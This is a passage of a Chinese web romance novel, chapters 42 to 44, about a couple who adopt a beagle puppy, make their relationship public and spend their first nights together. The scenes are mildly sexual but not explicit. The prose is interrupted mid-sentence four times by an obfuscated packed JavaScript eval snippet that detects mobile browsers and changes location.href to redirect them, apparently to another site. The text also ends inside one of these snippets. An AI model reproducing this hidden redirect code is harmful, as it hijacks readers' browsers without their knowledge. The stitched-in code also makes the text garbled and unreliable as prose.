季品诚摇头苦笑:“难怪上次比格犬都被收养走了,按编号统计的时候,有一只怎么找也找不到,原来在这里。” 晏迎对小比格伸出手,小狗被冻得瑟瑟发抖,小心翼翼地爬到晏迎手边,伸出舌头舔了舔晏迎的手套。 它感受到了晏迎的温暖,也好像知道面前的人是好人,它飞快地摇着尾巴,睁大眼睛试图萌化晏迎的心。 晏迎一把捞过它把它抱在怀里,它很乖,一点都不乱动,眼睛好奇地打量着她,熟悉着她的气味。 晏迎用小狗狗一样的眼神看向季品诚,还没开口,季品诚会意:“想好养它了?” 晏迎小小的纠结了一下,毕竟这不是一般的狗,这可是比格大王…… 小比格很通人性,似是感受到了晏迎的纠结,它在晏迎的怀抱里发出呜呜呜的声音,仿佛是在叫“妈妈”。 晏迎一咬牙,觉得被赏味期的比格迷惑,也是人之常情。 她坚定地对季品诚说:“嗯,我想好养它了,我一定恶补科学养狗的知识,我也有这个经济能力,陪伴它的话…还有小远呢,它不会孤单的,总比在学校里流浪好,一个冬天下来,它还这么小,别被冻死了,这得多可怜啊。” “而且…”晏迎伸手摸摸它的脑袋,“刚刚我觉得它在叫我妈妈诶。” 季品诚:“……” 他无奈地看着晏迎:“那等我下班之后,爸爸妈妈带它一起去宠物医院做个体检吧。” 晏迎眼睛亮晶晶地看着季品诚:“季老师你…” “它刚刚都叫你妈妈了,那我就是它的爸爸了,我会和你一起养的。” “太好了!阿比!你不仅有妈妈还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262217|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸了!” 季品诚笑了:”它是比格,所以你就叫它阿比?” ”是啊,名字也别起太大,贱名好养活,我希望阿比健健康康一辈子。” 外面的雪越下越大了,季品诚上完一节课就可以下班,晏迎和阿比在奶茶店里等他下班一块去宠物医院。 晏远在家里收到了姐姐的消息。 “小远!你要当小姨啦!” 看到这条消息的晏远,像是石化一样坐在了沙发上。 季老师和姐姐的节奏也太快了吧! 她拿着手机一动不动,内心无比忐忑,“小姨”这个身份快得让她一下子有点接受不了。 没想到季老师看上去那么冷淡一个人,在这方面… 她斟酌着用词在屏幕上打着:“姐,你怀孕多久了?” 肯定没多久,姐姐身材那么好,一点都不显怀。 这句话还没有发出去,晏迎便发了一张图片过来。 是一只在奶茶店喝着碗里热乎乎纯牛奶的小比格犬。 “你看,这是我和你姐夫今天收养的小狗,正好我们丁克,小狗就是我们的孩子啦,我给它取名阿比,大名叫晏季怎么样?” 晏远赶紧删除自己刚刚打上去的字,隔着屏幕“噗嗤”一声笑了出来。 原来不是小孩,是小比格犬啊。 等等!晏远反应过来,什么狗?比格?! 晏远发了比格多栋的表情包过去;“参见比格大王,比格大王万岁万岁万万岁。” “姐姐,恭喜你和姐夫,捡到了魔童。” “小远,咱们不能刻板印象,阿比可乖了,比金毛还要温顺乖巧。” 这才多久,晏远扶额苦笑,姐姐的亲妈滤镜也太严重了吧。 算了算了,姐姐的性格也适合养比格,至于季老师吗…养个比格热闹热闹也挺好,挺好哈哈。 “姐,阿比现在还在赏味期,等过了赏味期,它就要天天在家里werwerwer了。” 晏迎发了一张阿比摇尾巴吐舌头的视频发过去:“可是真的很可爱诶。” 养吧养吧,晏远点开视频细细欣赏,养狗总归比养小孩好。 养小孩还得辅导作业,养比格最多听它werwerwer。 季品诚下班去奶茶店接她的时候,隔着玻璃看到的就是这样一幕。 穿着粉红色羽绒服的她带着顶毛茸茸的帽子,怀抱里抱着阿比,不知道在和它碎碎念着什么。 她眼里泛滥出温柔的光,小比格犬伸出舌头去舔她的脸,她一边躲,一边笑。 季品诚隔着玻璃的倒影,看到自己的脸上,居然也洋溢着笑容。 不知道从什么时候开始,他也被她身上的快乐因子所感染了,笑容和快乐也经常降临在他身上。 他推开奶茶店的门,暖气开得很足,室内温暖如春。 店主眼熟他,和他打招呼道:“季老师来啦。” 季品诚点头致意,目光温柔转向晏迎。 晏迎抱着阿比,笑着看着他,对怀里乖巧的小比格说:“阿比,爸爸来接我们去医院体检咯。” 季品诚脸上一红,拿起她放在桌子上的围巾替她围好,牵起她的手,微笑道:“走吧。” 室外白雪皑皑,有不少学生穿着雨鞋在雪里面堆雪人。 晏迎紧紧抱着小狗,被那些奇奇怪怪的雪人逗笑。 雪,雪人,这些从前季品诚不会刻意去欣赏的风景,因为遇见她,好像也变得生动起来。 他牵紧她的手,只觉得心里面无比的踏实。 这是南城的第一场雪,也是今天冬天最大的一场雪。 42. 42 阿比是一只很健康的小狗,在宠物医院洗了一个澡外加做了内外驱虫就回家了。 医生让他们把阿比带回家观察七到十五天,在观察期间内如果没有出现腹泻和喘气的异常,就可以带到医院做接种疫苗了。 雪下得有点大了,季品诚专心看着路况开车,车内空调打得很足,小狗和人都睡着了。 季品诚趁等红灯的功夫,侧头看向副驾驶座,晏迎抱着阿比睡得香甜。 季品诚屏住呼吸看着她,伸手想要把她散落在脸上的碎发顺上去,但是又怕打扰到她的好梦。 他收回了自己的手,低下头笑了笑,红灯变绿,他继续往前开去,心情突然无比畅意。 季品诚也不知道自己到底在高兴什么,但他就是很快乐,甚至有了从前没有过的,一种名为“幸福”的感觉。 车子终于开到了家门口,怀里的比格都醒了,晏迎还在睡着。 季品诚看她睡得真的好香,他都有点不忍心把她叫醒了。 但总不能一直睡在这儿吧,季品诚伸手拍拍她的肩膀,没反应。 他捏捏她的脸,还是没反应。 但季品诚注意到,她的眼睫毛眨了一下。 似乎是明白了什么,季品诚凑过去,吻了吻她的额头, 她的额头是热的,而他的唇冰冰凉凉,贴上去的时候,像是吻到了太阳。 季品诚摸摸她的头:“现在可以醒来了吧。” 晏迎睁开眼和他对视,笑眯眯的样子让季品诚忍不住低下头想再亲一亲她。 晏迎怀里的比格犬:“汪汪汪!” 季品诚想要亲吻的动作顿住,晏迎主动飞速亲了亲他的下巴,她笑着摸摸怀里的阿比,对他说:“我们下车吧,我都饿了,阿比肯定也饿了。” 今晚季品诚家热闹得很,苏阿姨和晏远围着阿比,不停地夸它可爱。 晏远手机里关于阿比的写真,短短一个小时之内就有几十张了。 苏阿姨更是直夸阿比面相好,一看就是超级无敌好狗。 季品诚挑眉:“她们这是…?” 晏迎压低声音在他耳边回答:“被赏味期的阿比吸引,人之常情,情理之中。” 她抓住季品诚的手握在掌心,晃晃他的手道:“阿比爸爸,看到阿比这么受欢迎你肯定也很高兴吧。” 季品诚笑着回握住她的手:“我看到阿比妈妈笑得这么开心,我也很高兴。” 晏迎冲小比格的方向喊了一声:“阿比!” 阿比正和晏远还有苏阿姨一起愉快玩耍,它听到了来自晏迎的呼唤,屁颠颠跑到了晏迎的脚下摇尾巴。 它已经认主了,晏迎现在是它的第一主人,晏迎去哪,它也去哪。 晏迎一把抱住它,它开心地直吐舌头。 她把阿比递给季品诚:“你是它爸爸,你也抱抱孩子。” 季品诚认真和阿比对视了一眼,小狗满脸兴奋地看着他。 他笑了,真是个傻孩子,和某人一样… 他接过阿比抱住,阿比讨好地舔舔他的手,惹得季品诚手背发痒。 比格本来就是很亲人的小狗,这么点大的,更是粘人。 晏迎撑着头看向季品诚的侧脸,哼,此人简直就是口嫌体直,明明自己也很喜欢。 晏远拿出手机,给挨在一起抱狗的两个人,“咔嚓”一声拍了张全家福。 她把照片发给晏迎:“姐,你看你和季老师嘴角笑起来的弧度都一模一样了,你俩真的是越来越像了。” 这张照片,晏迎发在了朋友圈。 文案很简洁:一家三口。 她想起来自己还没有在朋友圈官宣过季品诚,那今天正好,官宣了男朋友,也官宣了狗儿子。 一举两得。 发完这条朋友圈,晏迎就没看手机,专心吃面前的火锅。 下雪天和火锅绝配,热气腾腾的锅子里冒着羊肉清汤的香,旁边放着洗干净的蔬菜和各种各样的丸子,苏阿姨给每个人都调好了自己秘制的火锅蘸料,餐厅里荡漾着幸福的味道。 季品诚话少,也被她们热闹的氛围打动,时不时聊几句家常话。 阿比在一边咬着羊肉骨头当磨牙棒,它现在还听不懂太多人类的语言,它只知道爸爸妈妈都很喜欢它,它即将成为这个世界上最幸福的小狗。 吃完火锅,晏远就先回家复习功课了,马上就是期末考了。 苏阿姨收拾完也回去了,房子里只有晏迎和季品诚两个人。 阿比太黏人了,不去睡笼子,也不睡一边被晏迎布置好的狗窝,而是窝在他们中间,不吵也不闹,无聊的时候舔舔他们的手,摇摇尾巴卖萌。 晏迎抱着手机一直在憋笑,手上打字的动作一点也没停。 季品诚看书的动作放慢,他拿眼睛偷偷看向晏迎,特别好奇她和谁在聊天,又在聊些什么? 聊得这么开心…他心里有些吃味。 他清了清嗓子,往晏迎这边又坐了一点。 他的这个动作挤到了阿比,阿比“汪汪汪”发出抗议,季品诚安抚地摸摸阿比的脑袋,索性合上书,把阿比抱在了怀里。 阿比大王不叫了,在季品诚怀里翻了一个身。 晏迎盯着手机屏幕笑得眉飞色舞。 他思想斗争了半天,还是忍不住问道:“聊什么呢这么开心?” 他不太愿意用“吃醋”这个词形容自己,听上去特别小心眼一样。 可这酸溜溜的语气,不就是在吃醋吗? 他在心里叹气,季品诚啊季品诚,你也有今天… 晏迎没听出来他在吃酸,她把手机递到他面前给他看:“你看我刚发的朋友圈。” 是那张一家三口的照片,晏远抓拍得很好,暖黄色的灯光下,季品诚低头抱着小狗微笑,小狗开心地昂起头去舔晏迎伸过来的手指。 光是看照片,就可以感受到两个人之间温馨幸福的氛围。 季品诚的目光看向下面十几层楼的评论,脸“刷”一下变红。 同事A:“哇,晏总监谈恋爱啦!男朋友好帅!99!” 晏迎回复:“谢谢祝福!” 合作方B:“郎才女貌,大拇指jpg。” 晏迎回复:“感谢王总,握手jpg。” 学妹甲:“此等极品帅哥,完全配得上晏学姐!” 晏迎回复:“哈哈哈哈谢谢小X!” 学长乙:“看来我彻底没有机会了是吗晏学妹?!” 晏迎回复:“学长你要认清现实哈。” 维娜:“最近认识一个不错婚庆策划公司负责人,有需要随时call姐。” 晏迎回复:“好嘞!” 晏远:“摄影师在此!” 晏迎回复:“感谢我的专用摄影师!” 季品诚看着数不胜数的祝福评论嘴角上扬,他的心脏砰砰直跳。 又有人评论了,这个名字让季品诚立马坐正了身体。 季磊谦:“好好好,都一家三口了是吧?” 季品诚眯了眯眼睛,他看向晏迎,征求她的同意:“我可以替你回复吗?” 晏迎知道他这是吃醋了,但这醋根本没必要啊,她是他的女朋友,要吃醋也是季磊谦酸溜溜。 她有些好笑地点点头:“你随意。” “就一家三口了,你有意见?(我是季品诚。)” 晏迎倒在沙发上笑得坐不起来:“哈哈哈哈哈哈,季老师,哈哈哈哈哈,你这个宣示主权,哈哈哈哈哈,好像是小学生啊哈哈哈哈。” 一边的季磊谦“啪”得一声把手机屏幕倒扣在桌子上,都忘记了要维持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262218|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己谦谦君子的形象。 季父冲他皱眉,显然不喜欢他这副失态的模样:“怎么了磊谦,是张叔做的菜不合胃口吗?” 季磊谦换上淡然的微笑,冲父亲摇头:“没事的,爸。” 气死了气死了,季磊谦喝了口水,他现在就想开车都季品诚家楼下,把他叫出来一决高下。 阿比看晏迎笑得开心,自己也傻乐呵着凑上去冲晏迎翻着肚皮。 季品诚伸手把晏迎拉起来,有点不好意思道:“你把这张照片转发给我,我也要发朋友圈。” 晏迎心下甜蜜:“好好好,我立马发给你。” 季品诚编辑的朋友圈文案也是简简单单四个字:一家三口。 他点击发送,就关掉了手机,把晏迎揽在了怀里。 他小声地嘀咕了一句:“应该早点官宣的。” “你说什么?”晏迎假装没有听清楚。 “没事。”他摸摸晏迎的头,一脸心安理得。 晏迎窝在他的怀抱里,看向了窗户外面:“季老师,我感觉我年纪真的大了,要是换作以前,我肯定和你们学校里的学生一样出去打雪仗,堆雪人了。” 她闻着季品诚身上好闻的檀木味,幽幽叹了口气:“我以前也是很顽皮的一个人,长了几岁之后心态就不一样了,我现在只想窝在爱人温暖的怀抱里,安静地看外面下雪的样子。” 季品诚安静地听她形容着一切。 “窗子就像是画框,外面路灯的光亮亮的像是黑夜里的眼睛。” “那雪呢?” “雪是冬天黑夜里漂浮的眼泪。” “为什么…要哭呢?” “因为太开心了呀,喜极而泣,不是谁都拥有好运气,可以在寒冷的冬天里和爱人抱在一起取暖。” 嗯,季品诚点头表示赞同,就比如季磊谦,他就没有他运气好。 季品诚想起了什么,打开了自己的手机,那条“官宣”的朋友圈底下,果然被好多人评论了。 他几百年不发一次朋友圈的人,要么不鸣则已,要发就一鸣惊人,成功震惊到了所有人。 晏迎贴着他的心口,感受到他的心跳在疯狂加速。 她好奇地抬起头,看向他的手机屏幕,评论区是不输给她的热闹非凡。 院士A:“小季你谈恋爱了?真是彗星撞地球一样罕见啊,恭喜,什么时候带过来给你师娘看看,老师请你们吃饭。” 同事B:“祝福季老师,很般配。” 研究生C:“师娘好美!像是女明星!” 研究生D:“师娘真的不是明星吗!这么漂亮!” 研究生E:“没想到季导的孩子是比格大王哈哈哈。” 苏阿姨:“什么时候喝上你和迎迎的喜酒?加把劲啊季教授。” 晏远:“哇!姐夫你开窍了!” Ge叔叔:“Oh,myGod,thisisreallyrare.Blessyou。” 还有好多人虽然没有评论,但纷纷点赞。 季品诚脸红地丢开手机,抱紧晏迎。 晏迎笑着戳戳他的手臂:“季老师,你不回复吗?” 他温热的呼吸符在她的耳朵里,声音也冒着热气:“我一会回复,不急,现在我想冷静一下。” 晏迎忍不住笑了,哪有人冷静是和树袋熊一样紧紧抱着别人冷静的啊。 能害羞成这样,还怪可爱的。 反差感的季老师,让她更加怜爱了。 他们拥抱的时间太久了,连阿比都以为他们睡着了。 季品诚突然在她耳边出声:“我爱你。” 晏迎这个角度正好可以望向窗外,窗外的雪越下越大了,地面上白茫茫一片,无边无际,像是爱意堆积。 “我也爱你。” 43. 43 晏迎正好之前放了一套换洗衣物和睡衣在季品诚这里备用。 那晚她和阿比留宿在了季品诚家里。 这也是她第一次住在季品诚家,不知道是借了阿比的光,还是以一家三口的第一个夜晚要团圆作为一个好借口。 晏迎洗完澡抱着阿比向季品诚求情:“季老师,你同意阿比的狗窝今天晚上放在你的房间里吗?我保证它很乖不会乱叫吵到你睡觉的。” 季品诚看了一眼自己房间角落里的黄色狗窝,叹了口气笑道:“你都先斩后奏了,我哪里有拒绝的道理?” 他一边解开自己的衬衫扣子准备去洗澡,一边摸了摸晏迎怀里阿比毛茸茸的它:“就算它吵点我也不会赶它走的,毕竟你是它妈妈,我是它爸爸。” “我就知道你最好了!”晏迎凑过去亲了他下巴一口。 她刚刚洗完澡,身上还有他家里沐浴露的味道,这再熟悉不过的雪松味沾染在她身上,却生出了别样的暧昧。 她的皮肤很白,睡裙刚刚到膝盖,阿比不小心把桌子上的书弄到地上,她一边说阿比你怎么这么顽皮,一边弯下腰去捡掉在地上的书本。 睡衣的领口因为俯身的动作变低,露出一些不该看到的东西。 季品诚赶紧别过眼睛,退后一步,红着脸说:“你先和阿比玩会,我去洗个澡。” 晏迎站直身体,看着他落荒而逃的背影露出一抹玩味的笑容。 季品诚洗澡的时候,莫名其妙比平时多挤了一点沐浴露。 他把沐浴露和水融合而成的白色泡沫均匀地涂抹在自己身上,不知道是不是浴室里太闷了,他觉得自己耳朵发烫,浑身要被温热的水点着。 他把水温调低了一点,才觉得好受一些。 他洗完澡把浴巾围在腰间,听到了门外传来的敲门声。 “季老师,我刚刚喝了杯酸奶,现在想要进来刷个牙可以吗?” 季品诚愣住,那句“可以”似乎是烫嘴,怎么也说不出口。 晏迎似乎是知道他的心理活动,声音故意有点失落:“你是不是没穿衣服啊,那算了,我等你出来再进来吧。” “我…你进来吧,没事。” “好的!” 门把手扭动了一下,在外面饲机已久的晏迎推门而入,给闷热的卫生间带来一丝清凉。 晏迎觉得这里简直就是仙境,白色的雾气朦朦胧胧,沐浴液洗头膏的香味丝丝缕缕夹在白雾之中,香雾弥漫间,他围着浴巾的样子就像是一尊行走的大理石雕塑。 而且他只围了下半身,没有围上半身,未干的水滴从泾渭分明的腹肌间滑落,滴落在白色的浴巾上,成为潮湿的一片。 晏迎和季品诚对视一眼,两个人的脸都如同照镜子一般粉红。 她呆呆站在原地,浑然忘记了自己是要进来干什么。 季品诚还算理智,他清了清嗓子:“你不是要刷牙的吗?” “哦对,多谢你提醒。”晏迎有点慌忙地拿着漱口杯接水,在“哗啦啦”的水声里,她感觉自己的一颗心,已经跳出了胸腔之外,不知道落在了何处。 她扶住洗漱台的大理石台面,想要借着大理石冰凉的温度,好让自己清醒一下。 但是一点用也没有,这份冰凉,被她滚烫的掌心那么一握,也变热了起来。 季品诚就这样站在原地,他摸了摸自己浴巾上面的结,有点进退两难。 已经是情侣了,一些东西以后反正是要看的,但现在这个节骨眼,怪尴尬的。 他闭着眼睛给自己做着心理建设,过了五分钟,他睁开眼睛,晏迎对着镜子麻木地在刷牙,眼神时不时在他身上溜达一圈。 “你牙还没刷好吗?”季品诚面无表情地看着她,实则心脏如乱码般狂跳,“晏迎,我要穿衣服了。” 晏迎含着牙膏泡沫含糊不清地回答他:“你就在这里穿啊,我不看你。” 为了表示自己真的不看他,晏迎转过身去,背对着他。 “行。”季品诚解开了自己浴巾上的结。 晏迎停下了刷牙的动作,抬眼,透过架在架子上的一面小镜子,将后面穿衣服的男人看得一清二楚。 天啊,这简直就是… 晏迎手上的漱口杯直直掉落在地上,发出不小的声响。 季品诚穿睡衣的动作一顿,抬头通过那面清楚的小镜子和她对视。 他恍然大悟一般嘴角抽搐,也就是说刚刚他穿衣服的场景,都被她看得清清楚楚了? 晏迎:“……” 季品诚:“……” 静默无言之间,晏迎清理完自己嘴里的牙膏泡沫,和他say拜拜道:“我刷完牙了,再见。” 她出门前还多此一举地帮他把门关好了。 季品诚靠在墙上苦笑,仰头扣完了睡衣上最后几个扣子。 他推门出来的时候,晏迎正背对着他和阿比玩。 他走到她身后,瞥见她发红的耳朵。 晏迎知道他就在后面,看但也假装不知道,她和阿比玩着小球,心不知道已经飞往何处。 季品诚笑了笑,伸手摸摸她发红的耳朵:“怎么这么烫?皮肤颜色都变成粉红色了。” 他指尖的动作温热,晏迎低头不语,只觉得面颊上的温度也高了几分。 阿比把小球踢到晏迎面前,季品诚手急眼快地接住,轻轻抛向小狗和它玩耍。 阿比撒丫子欢乐地去捡球,季品诚在晏迎后面坐了下来,把她拥抱在怀里。 晏迎抿唇一笑,靠着他的胸膛,感受到他的心跳也跳得很快,和自己的心率仿佛重合。 像是他们拥有共生的心脏。 她用手心贴着季品诚的手背,季品诚弯弯手指握住。 晏迎的眉毛在笑,眼睛在笑,嘴巴也在笑,她笑嘻嘻地回头对季品诚小声说道:你身材真的挺好的。” 季品诚和她鼻尖相抵,看着她的眼睛问道:“被你看去了多少?” 晏迎偏过头,吻吻他的唇,轻声回答道:“所有。” 季品诚抱住她的腰的手一下子收紧,他还没说些什么,阿比叼着球跑了过来。 “汪汪汪!”它还要有人和它玩球。 晏迎弯腰捞过小球,拿在手里逗着阿比,然后抛向远处。 季品诚不解气地咬了一下她的脖子,不重,甚至让晏迎觉得发痒。 她冲他眨眨眼:“你怎么也变成小狗了?” “哦,不对,”晏迎赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266724|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧纠正自己,凑到他的耳边一字一顿地说,“季老师您不是小狗,您是大狗。” 她特意把“大”这个字,着重加重了语气来说。 季品诚把脸埋在她的颈窝处,声音闷闷地发出,呼出的热气洒在她的皮肤上,仿佛一只热带鱼的鱼鳍,划动春潮暗涌。 他说的是:“你就欺负我吧。” 晏迎的指尖宛如一条身形敏捷的鱼,钻进睡衣棉质的布料中,触碰某人已经发烫的皮肤。 情到浓时,如烈火焚身,不止息。 “你现在不是冰雪王子了,季老师。” 那条身形敏捷的鱼,狡猾地咬开了他睡衣上的第一颗扣子。 季品诚放慢了呼吸,一动不敢动。 “身上那么烫,你现在是火焰王子。” 他开口喘气:“是谁点的火?” 晏迎还没有回答,阿比跳上了床,冲着他们摇尾巴。 “汪汪汪!”阿比看不懂爸爸妈妈在干什么,但是想和他们一起玩。 晏迎从季品诚身上爬下来,把阿比抱进狗窝开启哄睡服务:“阿比阿比快睡觉,变成小猪呼噜噜!” “汪汪汪!” “不早啦,爸爸和妈妈也马上要睡觉啦。” 阿比心不甘情不愿地钻进去,晏迎起身,对着季品诚回头一笑:“我们也该睡觉啦,男朋友。” 关灯,盖好被子,两个人第一次同床共枕。 晏迎的手在被窝里找到季品诚的手,然后温柔握住。 她感受到他掌心的干燥温暖,像是滚烫的热水袋。 她不动声色地往他这边移过来点,没想到季品诚做了相同的动作,两个人在黑暗里差点撞到彼此的头。 晏迎笑了,随即季品诚也笑出了声。 阿比:“汪汪汪!” 晏迎贴着季品诚的耳朵压低声音:“嘘,我们得小声点说话,它那大驴耳朵可灵了。” 季品诚把她抱在怀里,压低声音道:“你睡不着吗?” “你睡得着?”她反问。 “我也睡不着。” 晏迎轻轻掐一把他的腰:“你知道为什么睡不着吗?” “为什么?” “因为…太靠近你就太幸福了,人在靠近幸福的时候,只想着用尽所有的感知去感受。” 黑夜静默无声,只听得到窗外簌簌雪落,以及耳边,彼此细腻绵长的呼吸声。 季品诚紧紧抱住她:“那我现在就是在紧紧拥抱住幸福。” 晏迎舒服地蜷缩在他的怀里:“季品诚,以后还会更加幸福的。” 是承诺,是誓言,是期盼。 那个晚上,他们没有做梦,只是拥抱着彼此,一觉睡到了天亮。 早上比闹钟先叫醒他们的,是阿比。 阿比费力跳上一米八的大床,舔舔晏迎的脸,又舔舔季品诚的脸。 晏迎醒过来的时候,看到的就是这样一幅场景。 阿比和黑葡萄一样晶莹圆润的眼睛,黑色的鼻子,粉红色的舌头,还有一转头,晨光熹微中,爱人无限温柔的目光。 有人支起身体,在她耳边轻声道:“早上好。” 窗外,雪停了,满世界纯白一片。 44. 44 苏阿姨是在药店碰到他们的。 她习惯买点西洋参、枸杞和苦丁茶泡水喝,家里的刚喝完,所以今天下午趁着买菜的功夫,顺路再买一点。 她没想到正好遇上刚下班的晏迎和季品诚。 她本来想打声招呼来着的,但一看两口子浏览的东西,还是一下子噤声了。 季品诚手里拿着两盒维生素片和一包花茶,晏迎牵着他的手,选着货架上的套。 他们认真研究的目光看上去很严肃,不知道的人还以为他们在看多么复杂的产品说明书。 季品诚的语气听起来像是在科研报告会上提问:“袋装、杯装和胶囊装有什么区别吗?” 晏迎侧过头,小声地给他解答:“网上说杯装和胶囊装可以单手开,会节省时间一点?但咱俩也不差这几秒,可以三种都买来尝试一下。” “好。” “尺寸我觉得你得买直径六十六毫米或者六十九毫米的。” “……你怎么知道的?” “就上次…你不是在里面换衣服,我在外面刷牙,然后我不是不小心看到了吗…我就给你在心里面估算了一下…” 秉持着对事物的严谨性,季品诚清了清嗓子:“那就两个尺寸都买来试试。” 晏迎刷刷刷一顿拿:“好,多尝试才能选到最适合的。” 苏阿姨也是在大城市待过的人,不是什么老古板,年轻人嘛,血气方刚,正常,正常。 她低下头笑了笑,装作什么没看见,去收银台结账了。 晏迎和季品诚走出货架,也来到前台结账,他们看到了苏阿姨,苏阿姨回头和他们对视,笑道:“你们下班啦?” 晏迎突然觉得手里一堆盒子五颜六色的套有点烫人。 她愣在原地,露出一个僵硬的笑容:“我们刚刚下班,好巧啊苏阿姨,好巧。” 季品诚倒是从容,从晏迎手里接过那堆“烫手山芋”,对着收银员道:“我们结账。” 和苏阿姨一起回家的路上,晏迎没话找话说:“苏阿姨,你今天怎么来药店了啊,是身体不舒服吗?” “没有没有,我就是买菜路上顺便买点泡茶的西洋参和枸杞之类的,今天正好买了只乌鸡炖汤,到时候放点西洋参和枸杞进去,给你和季老师补补身体。” 季品诚:“……” 晏迎:“……” 苏阿姨笑了:“年轻人别不好意思啊,有些事情阿姨是过来人,都懂都懂。” 他们刚刚回到家,晏远也顺便来蹭顿晚饭。 药店白色的塑料袋里,五颜六色的盒子格外显眼,晏迎拿在手上,准备一会偷偷放到房间里。 阿比见到爸爸妈妈回来很高兴,蹦蹦跳跳地来迎接晏迎和季品诚,它眼尖地看到了妈妈手里的塑料袋,一个弹跳想要叼走,晏迎来不急抢,一堆五颜六色的盒子散落一地。 晏迎恨不得现在就找个地洞钻进去。 “阿!比!” “汪汪汪!” 季品诚:“……” 站在一边的晏远张大了自己的嘴巴,久久不能合上。 好多…好多那个啥啊,姐姐姐夫要用到这么多吗… 晏迎不语,低头捡起来,然后假装什么事都没有发生地带着狗一起上楼了。 季品诚深呼吸一口气,跟随着晏迎的脚步一起走远。 正在厨房做饭的苏阿姨冲晏远眨眨眼,晏远心知肚明,压住嘴角的笑意,打开电视看了起来。 季品诚推开房间的门,晏迎早就把那些五颜六色的盒子收在了抽屉里,她抱着阿比喃喃自语:“阿比,你不是很喜欢挖洞吗,麻烦我们阿比现在就挖个洞让妈妈钻进去吧。” “汪汪汪!” 季品诚“噗嗤”一笑,蹲在了她面前看向她有些苦恼的脸。 晏迎“哼”了一声:“你还笑呢,都怪你。” 季品诚看她现在有点尴尬有点吃瘪的样子觉得好笑:“嗯,都怪我。” 阿比爬起来去舔晏迎的脸,像是在安慰妈妈。 晏迎终于笑了,她把阿比抱在怀里,和蹲在自己面前的季品诚对视:“好了,现在只有我们两个人了,我们可以探讨一下今天用哪个。” 季品诚觉得脸上有点发烫:“你选吧,我都行,反正每个总要尝试一下才能选出最适合和最好的。” 晏迎抱着阿比站起来,在阿比耳边幽幽道:“来,好阿比,替爸爸妈妈选一个。” “汪汪汪!”阿比嗅嗅这个又嗅嗅那个,最后选了一盒粉红色包装的。 晏迎拿在手里仔细看了看,冲季品诚弯弯唇角:“那就这个草莓味袋装厚度零点零五毫米直径六十六毫米的。” 季品诚不语,只是满脸通红。 他们两个下楼吃饭的时候,苏阿姨正好把饭菜都端上桌。 晏远不敢直视姐姐的眼睛,因为她怕和姐姐一对视自己就会忍不住笑出声来。 刚刚那一大堆盒子散落在地上的场景还历历在目,晏远觉得自己短时间内是无法忘记了。 晏迎把牛奶泡狗粮倒在阿比的饭碗里,阿比摇着尾巴欢快地吃了起来。 那道滋补的枸杞西洋参炖乌鸡汤的味道很好,苏阿姨把两个腿分好,给晏迎和季品诚一人一个。 “来,你们工作辛苦了,多补补。” 苏阿姨又把两个鸡翅膀弄出来想给晏远:“小远你吃翅膀,学习也辛苦了。” 晏远忙说:“不了苏阿姨,你把翅膀给姐姐姐夫一人一个吧,正好他们两个比翼双飞。” 那两个鸡翅膀被晏远夹到了季品诚和晏迎的碗里。 她看看季品诚,又看看晏迎:“姐姐姐夫最近肯定辛苦了,多补补。” 这话饱含深意,意味深长,回味无穷。 晏迎:“……” 季品诚:“……” 晚上的时候,他们洗过澡陪阿比玩了一会球才上床的。 阿比是一只很懂事的小狗,不会大半夜乱叫,也不会随地大小便,虽然还是只狗宝宝,但是在季品诚的教育下已经学会了自己上厕所。 阿比是全世界最好的小狗,早上还会定时定点喊爸爸妈妈起床。 和阿比的亲子时光结束,晏迎躺在季品诚的臂弯上,他们聊了一会天。 聊聊小狗,聊聊最近的生活,聊聊南城的大雪在慢慢融化,聊聊彼此,聊聊爱,最后再聊到\性。 晏迎摘掉他的眼镜,思考了一下对他说道:“什么事情都要有一个循序渐进的过程,今天可以…先温柔一点?” 季品诚只是认真地看着她,认真地听她说每一句话。 晏迎想到哪里说到哪里:“等到我们彻底熟悉彼此了,可以再换换风格,换换姿势。” 季品诚弯弯唇角:“好。” 她侧过头看向他的眼睛:“我不认为这是一件羞耻的事情,我觉得…” 她窝在他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 